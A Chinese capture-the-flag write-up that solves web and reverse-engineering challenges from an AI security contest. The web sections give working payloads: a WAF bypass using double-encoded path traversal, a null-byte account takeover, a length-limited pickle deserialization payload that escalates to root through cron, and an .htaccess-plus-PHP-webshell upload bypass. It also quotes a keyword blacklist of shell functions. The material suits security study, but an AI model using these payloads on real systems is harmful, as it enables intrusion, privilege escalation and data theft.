AI×Cybersecurity Challenge人工智能网络安全挑战赛部分web+re

web

Info2Exploit

一个内部内容门户隐藏着比表面更多的信息,而某些旧版行为可能影响受保护资源的访问方式。请从站内收集线索,获取服务器中的 flag。

页面上公开了几个入口:

复制代码
/
/about
/repo
/search?q=
/article?id=

首页有三篇文章分别是

复制代码
/article?id=welcome.md
/article?id=smart_contract_security.md
/article?id=consensus_algorithms.md

/repo

复制代码
Git 仓库访问
内容查看器

系统消息
访问被拒
目前,正在尝试连接到去中心化的代码托管节点......


$ git clone git@chain-node:source/hyperchain-core.git
Cloning into 'hyperchain-core'...
Permission denied (publickey).
fatal: Could not read from remote repository.

Please make sure you have the correct access rights.
    

系统警报:
这个仓库目前处于"私人保护"模式。

最近的维护记录提到一份已存档的迁移记录,但该记录已不再在门户网站上列出。

已存档的迁移记录?记一下

/about

复制代码
关于此系统
当前门户及其背后的节点端内容服务概述。

建筑摘要
ChainInsight 是一个面向内部的内容门户,用于发布运营笔记、研究更新和技术文章,供边缘节点团队使用。

当前部署保持了Web层较小,并将大部分请求处理逻辑移至应用层,以便更方便迭代。

当前设计重点:
零拷贝I/O:用于高效内容传递。
自定义 HTTP 解析器:URL 规范化由内部解析器处理,以提升性能。
HyperGuard WAF:内容服务前方启用了轻量级请求检查层。
3.1.0版本目前已部署到主节点组。

自定义http解析器?

试试搜索功能,随便输入个a

发现还有一个文章

/article?id=_ops_snapshot_notice.md

复制代码
Archived Migration Note

A maintenance record from the previous storage migration was retained in the archive set after the public index was rebuilt.

The internal package label node_flag.txt was kept during that migration, and the archived note still references the old hidden snapshot namespace used by the storage service.

Some legacy sync clients also replay archived requests using older encoding behavior during fallback.

重点是第三段,大概意思是node_flag.txt还保留着,已归档的笔记还引用旧的隐藏快照命名空间。

反正就是记住这个文件名

接着试试任意文件读取,因为提到了自定义http解析,可以多试几种方法

提前看一眼服务

Server Werkzeug/3.1.8 Python/3.9.25

尝试读config.py

?id=../config.py触发了waf

?id=/config.py绝对路径禁止访问

单次url编码依旧waf

双重url编码提示请求的对象位于允许的存储范围之外

看来双重url编码可以绕过,尝试读取其他文件

?id=%252e%252e%252f%252e%252e%252fetc/passwd

复制代码
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

后续测试发现,很多文件都会和config.py一样返回 Requested object is outside the permitted storage scope.

我们尝试读取那个flag文件

复制代码
?id=node_flag.txt
?id=%252e%252e%252fnode_flag.txt
?id=%252e%252e%252f%252e%252e%252fnode_flag.txt

均无发现

找个字典扫一下 呃...没收获

下面交给gpt

说尝试/article?id=%252e%252e%252fprivate.....

(究竟是怎么想到的,/etc下面还有个private?)

回显

复制代码
System Message
Error: Object type does not match (Directory).

说明存在这个目录

根据线索"hidden snapshot namespace",尝试隐藏目录命名风格:

复制代码
../private/.snapshot/

双重编码后请求:

复制代码
/article?id=%252e%252e%252fprivate%252f.snapshot%252f

返回:

复制代码
Error: Object type does not match (Directory).

这再次说明目录存在。

到这里,路径已经基本确定:

复制代码
../private/.snapshot/

而隐藏文档中明确说内部 package label 是:

复制代码
node_flag.txt

所以最终目标文件路径应为:

复制代码
../private/.snapshot/node_flag.txt

由于需要绕过 WAF,路径中的 ..// 使用双重编码:

复制代码
%252e%252e%252fprivate%252f.snapshot%252fnode_flag.txt

最终paylaod

复制代码
/article?id=%252e%252e%252fprivate%252f.snapshot%252fnode_flag.txt

PickleJail

一个内部图床平台整合了用户账号、文件处理与维护功能。流程中隐藏的信任假设可能暴露服务器敏感数据;请分析系统并获取 flag。

(本题复现到一般结果复现环境无了,后半段纯gpt)

这个题名指向性挺明确的

先登录看看(注意到点击登录时候,用户名会被编码一闪而过,base64)

复制代码
本页面用于在测试环境中注册图片和参考材料。提交后,系统将生成一个访问路径,以供后续审核和验证。

上传文件试试

服务端返回一个预览链接:/pic?pic=文件名

试了试没啥用

换个方向,拿admin权限

回到登录界面看一眼源代码

html 复制代码
<script>
function base64encodeform(){
    document.getElementById('username').value=btoa(unescape(encodeURIComponent(document.getElementById('username').value)));
    document.getElementById('password').value=btoa(unescape(encodeURIComponent(document.getElementById('password').value)));
    return true;
}
</script>

果然是base64,所以我们的一些特殊字符也可以被正常传入后端

复制代码
admin\x00admin\x00admin
py 复制代码
import requests, base64
base='http://36.213.142.102:24059'
enc=lambda s: base64.b64encode(s.encode()).decode()

u='admin\x00admin\x00admin'
p='aaa'

s=requests.Session()
print(s.post(base+'/register', data={
    'username': enc(u),
    'password': enc(p)
}).text)

print(s.post(base+'/login', data={
    'username': enc('admin'),
    'password': enc(p)
}).text)

拿到 admin 后,通过文件读取把源码拉出来,发现 /pic 的核心逻辑是:

py 复制代码
@app.route('/pic')
def pic():
    if (pic:=request.args.get('pic')) and os.path.isfile(filepath:=f"./files/uploads/{pic}"):
        if session.get('username')==b"admin":
            return pickle.load(open(filepath,"rb"))
        else:
            return f'''<img src="data:image/png;base64,{base64.b64encode(open(filepath,"rb").read()).decode()}">{open(filepath,"r").read()[:5000]}'''

同时上传过滤并不是"只允许图片",而是一个很短的黑名单:

py 复制代码
if len(content)>60: return False
for b in [b"\n",b"\r",b"\\",b"base",b"builtin",b"code",b"command",b"eval",b"exec",
          b"flag",b"flask",b"global",b"os",b"output",b"popen",b"pty",b"repeat",
          b"run",b"setstate",b"spawn",b"subprocess",b"sys",b"system",b"timeit"]:
    if b in content: return False

这不是简单文件上传,而是管理员专属不安全反序列化。一旦我是 admin,上传文件再访问 /pic,本质上就是让服务端对我给的任意字节做 pickle.load

可是我们直接去读 /flag 会报错,但读普通系统文件完全没问题。继续读取 /start.sh 后发现:

复制代码
flag_value="${FLAG:-flag{local_test_flag}}"
printf '%s\n' "$flag_value" > /flag
chown root:root /flag
chmod 700 /flag
unset FLAG
unset flag_value

cron
exec sudo -u ctf python3 /app/app.py

这说明真实 flag 被写入 /flag 后立刻设成 root:root 700,而 Flask 应用最终是以 ctf 用户运行的。

再往下读 /etc/cron.d/cleanup,发现 root 每分钟会执行一次:

复制代码
* * * * * root /opt/cleanup.sh

/opt/cleanup.sh 初始内容只是:

复制代码
#!/bin/sh
exit 0

考虑拿root权限

上传黑名单把 ossystemexecsubprocesspopenrun 这些直观利用点几乎全封掉了

应该去找一个不显眼但同样会启动进程的标准库函数

pydoc.pipepager(text, cmd) 很合适:名字短,不在黑名单里,但内部会执行 cmd,并把 text 通过管道喂给它

让他执行sh,把 sudo -n -l 的输出写到 /tmp/l,读回来的结果是:

复制代码
User ctf may run the following commands on ...:
    (root) NOPASSWD: /usr/bin/tee /opt/cleanup.sh

上传内容必须同时满足:

  1. 总长度不超过 60 字节。

  2. 不能出现 flagossystem 等黑名单关键词。

  3. 不能有换行。

  4. 最终还得完成"把 root 脚本写进 /opt/cleanup.sh"这件事。

    pydoc.pipepager("cat /f*>/tx", "sudo -n tee /o*/c*")

对应的 pickle 原始载荷是:

复制代码
b'\x80\x04\x8c\x05pydoc\x8c\x09pipepager\x93\x8c\x0bcat /f*>/tx\x8c\x12sudo -n tee /o*/c*\x86R.'

长度 57 字节,成功卡进限制内。

一旦这个 payload 被 admin 触发,/opt/cleanup.sh 就会被 root 权限重写成"读 /flag 并写到 /tx"的脚本,剩下只要等 cron。

上传最终 payload 后,请求 /pic?pic=payload 返回 500,没关系,我们只要在乎有没有执行成功

立刻回头读取 /opt/cleanup.sh

读回来的内容确实已经变成:

复制代码
cat /f*>/tx

二进制方式读取 /tx,原始内容是:

复制代码
b'flag{1jslb02eu7j76r12pk9v1hq1lkprsn45}}\n'

Prompt Vault

预览客服回复模板,找出隐藏在内部片段中的动态 flag。

提供了多个按键,通过 /api/promptlets 异步加载可用的片段名称,还有渲染后预览按钮

但是测试多个常规ssti payload均不被解析

看眼源代码

javascript 复制代码
fetch('/api/promptlets').then(r => r.json()).then(d => {
        if (d.success) {
            snips.textContent = '';
            d.promptlets.forEach(n => {
                var b = document.createElement('button');
                b.textContent = n;
                b.onclick = () => {
                    if (draft.value && !draft.value.endsWith('\n')) draft.value += '\n';
                    draft.value += '{{ include_prompt("' + n + '") }}';
                };
                snips.appendChild(b);
            });
        }
    }).catch(() => { snips.textContent = 'load failed'; });

    document.getElementById('runBtn').onclick = () => {
        fetch('/api/preview', {
            method: 'POST',
            headers: {'Content-Type': 'application/json'},
            body: JSON.stringify({user_input: draft.value})
        }).then(r => r.json()).then(d => {
            if (d.success) {
                output.textContent = d.final_preview;
                output.className = '';
            } else {
                output.textContent = d.error;
                output.className = 'err';
            }
        }).catch(() => {
            output.textContent = 'request failed';
            output.className = 'err';
        });
    };

扫api端口

发现/api/help

json 复制代码
{
  "about": "ReplyKit previews CX reply drafts. Public snippets in /api/promptlets. Refund/SLA/compliance drafts use the internal review_gate snippet.",
  "ok": true,
  "syntax": "{{ include_prompt(\"name\") }}"
}

Refund/SLA/compliance草稿使用内部review_gate代码片段

说实话没很看懂这英文的逻辑

最终payload

复制代码
{{ include_prompt("review_gate") }}

MalCraft

某科技公司开发了一套 AI 文档管理系统,声称可通过内容分析引擎阻挡恶意上传。一次安全检查中,审计人员发现系统留下了被绕过的痕迹与加密的访问日志备份;请还原相关证据,找出攻击者 IP、关键日志 ID 以及被窃取的机密文件名称,并在题目中提交即可获取flag。

  • 文件上传区(调用 upload.php)

  • 已归档文件列表(调用 list.php,每 5 秒刷新)

  • AI 分析结果查看(调用 analyze.php)

  • 下载已归档文件(调用 download.php?file=xxx)

  • 导航栏还有一个 "Evidence Submission" 链接(submit.php)

    提交已找回的攻击者IP、密钥日志ID以及被盗的机密文件名。最终结果仅在三个值完全匹配时才会返回。

尝试通过 download.php?file=../../../etc/passwd 进行路径穿越,返回 "Invalid file path"。尝试 download.php?file=config.php 返回 "File not found"。

上传 .php 文件返回 "Unsupported file type"。上传 .txt 文件成功。但上传 .htaccess 文件也成功了!

上传一个一句话木马.txt

复制代码
AI detected malicious content in the first 1KB of the file

所以我们在一句话木马前填充一些垃圾字节

.htaccess

复制代码
AddType application/x-httpd-php .txt

构造payload

复制代码
$padding = "A" x 2048;
$phpcode = "<?php echo file_get_contents('/var/www/html/config.php'); ?>";
$content = $padding . "\r\n" . $phpcode;

成功拿到config.php,证明可行

再执行

复制代码
<?php echo shell_exec('find /var/www -type f 2>&1'); ?>

返回结果中出现了关键文件:

复制代码
/var/www/html/uploads/admin/db_backup.conf
/var/www/html/uploads/admin/upload_logs/.hash_record
/var/www/html/uploads/admin/upload_logs/access.log
/var/www/html/uploads/admin/upload_logs/access.log.backup

存在一个隐藏的 admin/ 目录,包含:

  • db_backup.conf --- 数据库备份配置文件(内含加密密钥!)
  • upload_logs/access.log --- 明文访问日志
  • upload_logs/access.log.backup --- 访问日志备份(加密的)
  • .hash_record --- 日志完整性哈希记录
php 复制代码
<?php echo file_get_contents('/var/www/html/uploads/admin/db_backup.conf'); ?>

返回内容:

复制代码
[integrity]
# Log integrity verification enabled
# Backup encryption: XOR with db_password
# Original hash: d79666476d5206d9c01b7a3b8b51ed0fb78bd00eacde38e47dade6f92ca25d07
[database]
password = AIDoc#2024Secure

关键信息:

  1. 加密方式:XOR with db_password(与数据库密码进行 XOR 加密)
  2. 数据库密码(即加密密钥):AIDoc#2024Secure
  3. 原始哈希:用于验证日志完整性的 SHA256
php 复制代码
<?php
$data = file_get_contents('/var/www/html/uploads/admin/upload_logs/access.log.backup');
$key = 'AIDoc#2024Secure';
$decrypted = '';
for ($i = 0; $i < strlen($data); $i++) {
    $decrypted .= chr(ord($data[$i]) ^ ord($key[$i % strlen($key)]));
}
echo nl2br(htmlspecialchars($decrypted));
?>

解密结果:

复制代码
{"time":"2024-10-10 14:30:12","ip":"192.168.1.100","action":"upload","file":"report.pdf","status":"success"}
{"time":"2024-10-10 15:14:51","ip":"203.0.113.88","action":"shell_exec","command":"cat /opt/secrets/operation_darknet.txt","log_id":"LOG-20241010-88239","severity":"critical"}
{"time":"2024-10-10 15:15:22","ip":"203.0.113.88","action":"file_steal","file":"operation_darknet.txt","size":4521,"log_id":"LOG-20241010-88240","severity":"critical"}
从解密后的日志中提取出三条关键证据:
  1. 攻击者 IP:203.0.113.88(执行 shell_exec 和 file_steal 操作的 IP)
  2. 关键日志 ID:LOG-20241010-88239(首次 shell_exec 的日志条目,标记为 critical 严重级别)
  3. 被窃取的机密文件:operation_darknet.txt(攻击者从 /opt/secrets/ 目录窃取的文件)

访问 submit.php,提交三个值:

复制代码
Attacker IP: 203.0.113.88
Key Log ID: LOG-20241010-88239
Confidential File Name: operation_darknet.txt

返回结果:

复制代码
Verification passed: flag{1jsm71kr3inr981udk4j7jq5s2s5iia7}

re

CodeSign

一个移动保险库显示访问已被允许,但秘密仍然没有出现在眼前。请理解应用如何决定展示内容,并还原隐藏结果。

apk安卓逆向

跳到主activity

java 复制代码
public class MainActivity extends AppCompatActivity {
    private static final byte[] SECRET_DATA = {86, 10, 3, 1, 77, 124, 123, 97, 109, 37, 64, 90, 2, 89, 8, 5, 111, 115, 64, 66, 4, 16, 65, 62, 123, 8, 88, 81, 30};

    @Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
    protected void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        setContentView(R.layout.activity_main);
        final TextView textView = (TextView) findViewById(R.id.tv_console);
        final TextView textView2 = (TextView) findViewById(R.id.tv_flag);
        ((Button) findViewById(R.id.btn_unlock)).setOnClickListener(new View.OnClickListener() { // from class: com.icqctf.signcheck.MainActivity$$ExternalSyntheticLambda0
            @Override // android.view.View.OnClickListener
            public final void onClick(View view) {
                this.f$0.m125lambda$onCreate$0$comicqctfsigncheckMainActivity(textView2, textView, view);
            }
        });
    }

    /* renamed from: lambda$onCreate$0$com-icqctf-signcheck-MainActivity, reason: not valid java name */
    /* synthetic */ void m125lambda$onCreate$0$comicqctfsigncheckMainActivity(TextView textView, TextView textView2, View view) {
        String strDecrypt = decrypt(SECRET_DATA, SignUtils.getAppSignature(this));
        textView.setText(strDecrypt);
        if (strDecrypt.startsWith("flag{")) {
            textView2.setText("> ACCESS GRANTED.\n> DATA RENDERED TO BUFFER.\n> UI OUTPUT: DISABLED (Security Mode)");
            textView2.setTextColor(-16711936);
        } else {
            textView2.setText("> SIGNATURE MISMATCH.\n> DECRYPTION FAILED.\n> OUTPUT GARBAGE.");
            textView2.setTextColor(SupportMenu.CATEGORY_MASK);
        }
    }

    private String decrypt(byte[] bArr, String str) {
        if (str == null || str.length() == 0) {
            return "";
        }
        byte[] bytes = str.getBytes();
        byte[] bArr2 = new byte[bArr.length];
        for (int i = 0; i < bArr.length; i++) {
            bArr2[i] = (byte) (bArr[i] ^ bytes[i % bytes.length]);
        }
        return new String(bArr2);
    }
}

直接找关键逻辑

java 复制代码
if (strDecrypt.startsWith("flag{")) {
            textView2.setText("> ACCESS GRANTED.\n> DATA RENDERED TO BUFFER.\n> UI OUTPUT: DISABLED (Security Mode)");

String strDecryptflag{开头

再去看String strDecrypt的逻辑

java 复制代码
String strDecrypt = decrypt(SECRET_DATA, SignUtils.getAppSignature(this));

private String decrypt(byte[] bArr, String str) {
        if (str == null || str.length() == 0) {
            return "";
        }
        byte[] bytes = str.getBytes();
        byte[] bArr2 = new byte[bArr.length];
        for (int i = 0; i < bArr.length; i++) {
            bArr2[i] = (byte) (bArr[i] ^ bytes[i % bytes.length]);
        }
        return new String(bArr2);
    }

逻辑不复杂,把SECRET_DATASignUtils.getAppSignature进行异或

继续跳转去看getAppSignature

java 复制代码
public static String getAppSignature(Context context) {
        try {
            return hex(context.getPackageManager().getPackageInfo(context.getPackageName(), 64).signatures[0].toByteArray());
        } catch (Exception unused) {
            return "";
        }
    }

跳到hex函数

java 复制代码
private static String hex(byte[] bArr) throws NoSuchAlgorithmException {
        try {
            MessageDigest messageDigest = MessageDigest.getInstance("SHA1"); //声明sha1算法
            messageDigest.update(bArr); //传入参数bArr
            byte[] bArrDigest = messageDigest.digest(); //计算出结果
            StringBuilder sb = new StringBuilder();
            for (byte b : bArrDigest) {
                String hexString = Integer.toHexString(b & UByte.MAX_VALUE);
//UByte.MAX_VALUE即无符号字节的最大值,也就是255,按位与255转换为无符号整数
                while (hexString.length() < 2) {
                    hexString = "0" + hexString; 
                }
                sb.append(hexString);
            }
            return sb.toString().toLowerCase();
        } catch (Exception unused) {
            return "";
        }
    }

问题是如何找到hex函数的参数

复制代码
context.getPackageManager()
       .getPackageInfo(context.getPackageName(), 64)
       .signatures[0]
       .toByteArray()

64 是 PackageManager.GET_SIGNATURES 这个常量的值,就是请求签名的指令码

然后signatures[0]取到签名,再.toByteArray()转换成字节

在jadx中拿到签名sha1

复制代码
0F BF 65 80 2A 94 64 9F 01 92 0C 2A 09 66 C2 93 4E 81 7F 73 

写个脚本跑出来

py 复制代码
secret = [
    86, 10, 3, 1, 77, 124, 123, 97, 109, 37,
    64, 90, 2, 89, 8, 5, 111, 115, 64, 66,
    4, 16, 65, 62, 123, 8, 88, 81, 30
]

key = "0fbf65802a94649f01920c2a0966c2934e817f73"

flag = ''.join(
    chr(b ^ ord(key[i % len(key)]))
    for i, b in enumerate(secret)
)

print(flag)

drive

公司的驱动程序好像出bug了,连接的程序也连接不上,重新连接驱动还需要重新输入密钥,请尽快修复程序连接驱动!(缺失的符号md5=f2c6151d6c0d99f3666129b97e2100f5)。

核心文件只有两个:link.exeDriver.sys

一个程序一个驱动

先看exe的string

复制代码
\\.\Device?????
flag

可能是在device这里破坏了

sys文件本质是PE文件,同样具有MZ开头,但是我们查看发现

原本的 4D 5A变成了09 5A

改回去之后发现下面还有异常内容

复制代码
J...D......L.!Th
-s p6ogr%m c%nno
0 bedrundin .OS 

This转16进制是

复制代码
54 68 69 73

而这里是

复制代码
54 68 2D 73

经gpt观察后发现,每 4 字节的第 1 个字节都像是被异或了 0x44。按这个规律恢复后,Driver.sys 重新变成正常 PE 驱动,并能看到关键字符串:

复制代码
\??\DeviceDrive
\Device\MYDEVICE
flag is you input
wrong

真正缺失的符号是 Drive,并且 Drive的md5刚好是f2c6151d6c0d99f3666129b97e2100f5

再把exe修改好

下面是gpt独秀

修复驱动后,继续分析驱动逻辑。DriverEntry 中创建了内核设备和符号链接:

复制代码
DeviceName: \Device\MYDEVICE
SymbolicLink: \??\DeviceDrive

同时注册了几个派发函数,其中 IRP_MJ_DEVICE_CONTROL 指向主要处理函数。用户态 link.exe 发送的控制码是:

复制代码
0x222000

进入驱动的 DeviceControl 分支后,可以看到它会读取用户输入的 32 字节缓冲区,然后做第一层原地变换:

复制代码
for (i = 1; i < 32; i++) {
    buf[i - 1] ^= ((buf[i - 1] % 0x12) + buf[i] + 5) ^ 0x34;
}

这里有一个关键观察:每一轮修改的是 buf[i - 1],但会用到还没被修改的 buf[i]。这说明如果要逆推原输入,应当从末尾往前推,而不是从开头往后推。

第一层变换后,驱动把结果传入另一个校验函数。这个函数分两轮处理输入。第一轮使用初始值 0x34 做链式异或:

复制代码
prev = 0x34;
for (i = 0; i < len; i++) {
    tmp[i] = input[i] ^ prev;
    prev = input[i];
}

第二轮继续链式异或,并把结果与 .data 段中的 32 字节常量比较:

复制代码
for (i = 0; i < len; i++) {
    old = tmp[i];
    tmp[i] ^= prev;
    prev = old;
}

目标常量是:

复制代码
66 0a 09 e0 e2 e3 cb 09 14 15 0c 38 01 1f 05 42
71 6e 56 7a 00 20 e4 bf e6 cd 28 30 2c 75 a0 3a

如果比较成功,驱动不会返回真正的新字符串,而是返回:

复制代码
flag is you input

这句话很关键。它说明 flag 不是驱动输出内容,而是用户输入本身。也就是说,攻击目标变成了:构造一个 32 字节输入,使它经过两层变换后等于 .data 段常量。

先逆第二层校验。由于第二层是链式异或,异或本身可逆,所以可以从目标常量倒推出第一层变换后的中间值。逆推得到的 32 字节中间态是:

复制代码
2f 3e 26 de c4 3d 0f 34 1b 21 17 19 16 06 13 44
62 2a 34 50 34 70 d0 cf 36 02 1e 32 32 47 92 7d

接下来逆第一层变换。第一层有这个结构:

复制代码
buf[i - 1] = original[i - 1] ^ f(original[i - 1], original[i])

因为它依赖右侧相邻字节,所以从最后一个字节开始向前回溯最自然。末尾 buf[31] 没被第一层循环修改,因此可以直接确定原始输入最后一字节。然后逐位向前枚举 original[i - 1],要求它变换后等于已知中间态。

回溯后得到多个数学上可行的候选,但大多数包含不可打印字符或不符合 flag 格式。唯一符合常见 CTF flag 形态、且完整可打印的是:

复制代码
flag{wnNCZJbBOqL3QA1C1cypiKYII4}

为了避免只靠格式猜测,还需要做正向验证。把这个候选作为原始输入,先执行驱动第一层变换,得到:

复制代码
2f3e26dec43d0f341b21171916061344622a34503470d0cf36021e323247927d

再执行第二层校验变换,得到:

复制代码
660a09e0e2e3cb0914150c38011f0542716e567a0020e4bfe6cd28302c75a03a

它与 .data 段目标常量完全一致,因此该输入一定会命中成功分支。

最终驱动成功分支提示 flag is you input,说明正确输入就是 flag。经过逆向两层变换并正向验证,最终 flag 为:

复制代码
flag{wnNCZJbBOqL3QA1C1cypiKYII4}

SimpleSocket

一个轻量级客户端与服务端程序通过自定义通信流程保护返回信息。请逆向分析交换逻辑,还原最终内容。

题目目录中有四个文件:pypacket1packet2packet3

先看py

py 复制代码
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP, AES
from Crypto.Util.Padding import pad, unpad
import os
import socket
import time

def generate_rsa_keys():
    key = RSA.generate(1024) #生成一对RSA密钥(1024位)
    private_key = key.export_key() #调用.export_key(),把key转换为文本格式
    public_key = key.publickey().export_key() #只取出公钥部分
    return private_key, public_key

def client_logic(public_key):
    current_time = int(time.time())
    aes_key = os.urandom(16) #生成16个字节(128位)的完全随机的数据,作为AES加密的密钥
    cipher_rsa = PKCS1_OAEP.new(RSA.import_key(public_key))
    encrypted_aes_key = cipher_rsa.encrypt(aes_key) #加密

    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.connect(('localhost', 9999))
        s.sendall(encrypted_aes_key) 
        encrypted_data = s.recv(1024)


def server_logic(private_key):
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.bind(('localhost', 9999))
        s.listen()

        conn, addr = s.accept()
        with conn:
            encrypted_aes_key = conn.recv(256)

            cipher_rsa = PKCS1_OAEP.new(RSA.import_key(private_key))
            aes_key = cipher_rsa.decrypt(encrypted_aes_key) #解密

            flag = b"this is flag"
            cipher_aes = AES.new(aes_key, AES.MODE_ECB)
            encrypted_flag = cipher_aes.encrypt(pad(flag, AES.block_size))
            conn.sendall(encrypted_flag)


private_key, public_key = generate_rsa_keys()

import threading
server_thread = threading.Thread(target=server_logic, args=(private_key,))
server_thread.start()
client_logic(public_key)

整体逻辑是用RSA加密AES密钥,再用AES加密数据

复制代码
packet2: PEM 格式 RSA PRIVATE KEY,但换行被写成了字面量 \n
packet3: 256 个十六进制字符,即 128 字节
packet1: 96 个十六进制字符,即 48 字节

packet3 的 128 字节长度正好对应 1024-bit RSA 密文;packet1 的 48 字节长度是 16 的倍数,符合 AES 分组密文特征;packet2 则是泄露的 RSA 私钥。

复制代码
packet3 --RSA私钥解密--> AES key
AES key + packet1 --AES-ECB解密--> flag

注意packet1packet3 都是十六进制文本,不是原始二进制,所以使用前要先 bytes.fromhex()

packet2 里的私钥不是标准 PEM 换行,而是包含字面量 \n,所以导入 RSA 私钥前要替换成真实换行:

py 复制代码
private_key = packet2_text.replace("\\n", "\n").encode()

脚本

py 复制代码
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP, AES
from Crypto.Util.Padding import unpad

private_key = open("packet2").read().replace("\\n", "\n").encode()
rsa_key = RSA.import_key(private_key)

encrypted_aes_key = bytes.fromhex(open("packet3").read().strip())
aes_key = PKCS1_OAEP.new(rsa_key).decrypt(encrypted_aes_key)

encrypted_flag = bytes.fromhex(open("packet1").read().strip())
flag = unpad(AES.new(aes_key, AES.MODE_ECB).decrypt(encrypted_flag), 16)

print(flag)